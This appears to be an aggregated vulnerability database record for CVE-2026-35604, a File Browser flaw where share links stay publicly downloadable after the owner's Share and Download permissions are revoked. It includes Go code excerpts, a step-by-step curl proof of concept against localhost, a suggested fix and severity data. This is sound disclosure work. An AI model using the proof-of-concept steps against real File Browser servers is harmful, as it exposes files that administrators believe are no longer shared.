{"id":"CVE-2026-35604","aliases":["CVE-2026-35604","GHSA-v9w4-gm2x-6rvf","GO-2026-5659"],"related":[],"kind":"vulnerability","state":"published","title":"File Browser share links remain accessible after Share/Download permissions are revoked","summary":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.","source":"cvelist"},{"lang":"en","text":"When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).\n\n## Details\n\nShare creation (`http/share.go:21-29`) correctly checks permissions:\n\n    func withPermShare(fn handleFunc) handleFunc {\n        return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            if !d.user.Perm.Share || !d.user.Perm.Download {\n                return http.StatusForbidden, nil\n            }\n            return fn(w, r, d)\n        })\n    }\n\nBut share access (`http/public.go:18-87`, `withHashFile`) does not:\n\n    var withHashFile = func(fn handleFunc) handleFunc {\n        return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists\n            authenticateShareRequest(r, link)            // line 26: checks password\n            user, err := d.store.Users.Get(...)          // line 31: checks user exists\n            d.user = user                                // line 36: sets user\n            file, err := files.NewFileInfo(...)           // line 38: gets file\n            // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download\n        }\n    }\n\n## Proof of Concept (runtime-verified)\n\n    # Step 1: Login as admin\n    TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\"username\":\"admin\",\"password\":\"<admin-password>\"}')\n\n    # Step 2: Create testuser with Share+Download permissions\n    curl -X POST http://localhost:18080/api/users \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d '{\"what\":\"user\",\"which\":[],\"current_password\":\"<admin-password>\",\n           \"data\":{\"username\":\"testuser\",\"password\":\"TestPass123!\",\"scope\":\".\",\n           \"perm\":{\"share\":true,\"download\":true,\"create\":true}}}'\n\n    # Step 3: Login as testuser and create share\n    USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\"username\":\"testuser\",\"password\":\"TestPass123!\"}')\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -H \"Content-Type: application/json\" -d '{}'\n    # Returns: {\"hash\":\"fB4Qwtsn\",\"path\":\"/secret.txt\",\"userID\":2,\"expire\":0}\n\n    # Step 4: Verify share works (unauthenticated)\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK)\n\n    # Step 5: Admin revokes testuser's Share and Download permissions\n    curl -X PUT http://localhost:18080/api/users/2 \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d '{\"what\":\"user\",\"which\":[\"all\"],\"current_password\":\"<admin-password>\",\n           \"data\":{\"id\":2,\"username\":\"testuser\",\"scope\":\".\",\n           \"perm\":{\"share\":false,\"download\":false,\"create\":true}}}'\n\n    # Step 6: Verify testuser CANNOT create new shares\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -d '{}'\n    # Returns: 403 Forbidden (correct)\n\n    # Step 7: THE BUG - old share STILL works\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK) - SHOULD be 403\n\n## Impact\n\nWhen an admin revokes a user's Share or Download permissions:\n- New share creation is correctly blocked (403)\n- But all existing shares created by that user remain fully accessible to unauthenticated users\n- The admin has a false sense of security: they believe revoking Share permission stops all sharing\n\nThis is the same vulnerability class as GHSA-68j5-4m99-w9w9 (\"Authorization Policy Bypass in Public Share Download Flow\").\n\n## Suggested Fix\n\nAdd permission re-validation in `withHashFile`:\n\n    user, err := d.store.Users.Get(d.server.Root, link.UserID)\n    if err != nil {\n        return errToStatus(err), err\n    }\n\n    // Verify the share owner still has Share and Download permissions\n    if !user.Perm.Share || !user.Perm.Download {\n        return http.StatusForbidden, nil\n    }\n\n    d.user = user\n\n---\n\n**Update:** Fix submitted as PR #5888.","format":"markdown","source":"ghsa"},{"lang":"en","text":"File Browser share links remain accessible after Share/Download permissions are revoked in github.com/filebrowser/filebrowser","format":"markdown","source":"go"}],"published":"2026-04-07T16:22:51.557Z","modified":"2026-06-25T23:11:03.368Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"version":"< 2.63.1","status":"affected"}],"vendor":"filebrowser","product":"filebrowser","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.63.1"}],"ecosystem":"Go","package":"github.com/filebrowser/filebrowser/v2","purl":"pkg:golang/github.com/filebrowser/filebrowser/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/filebrowser/filebrowser","purl":"pkg:golang/github.com/filebrowser/filebrowser","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.63.1"}],"ecosystem":"Go","package":"github.com/filebrowser/filebrowser/v2","purl":"pkg:golang/github.com/filebrowser/filebrowser/v2","source":"go"},{"ranges":[{"status":"affected","fixed":"2.63.1"}],"vendor":"filebrowser","product":"filebrowser","cpe":"cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-v9w4-gm2x-6rvf","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/filebrowser/filebrowser/pull/5888","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35604","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/filebrowser/filebrowser","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-07T18:26:33.922Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-35604","url":"https://www.cve.org/CVERecord?id=CVE-2026-35604","licence":"CVE Terms of Use","modified":"2026-04-07T18:26:43.881Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-v9w4-gm2x-6rvf","url":"https://github.com/advisories/GHSA-v9w4-gm2x-6rvf","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:03.368Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5659","url":"https://pkg.go.dev/vuln/GO-2026-5659","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:38.693Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-35604","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35604","licence":"Public domain","modified":"2026-06-17T10:40:51.010Z"}],"updatedAt":"2026-11-25T22:59:18.133Z","epss":{"score":0.00353,"percentile":0.30897,"date":"2026-12-02T12:00:21.000Z"}}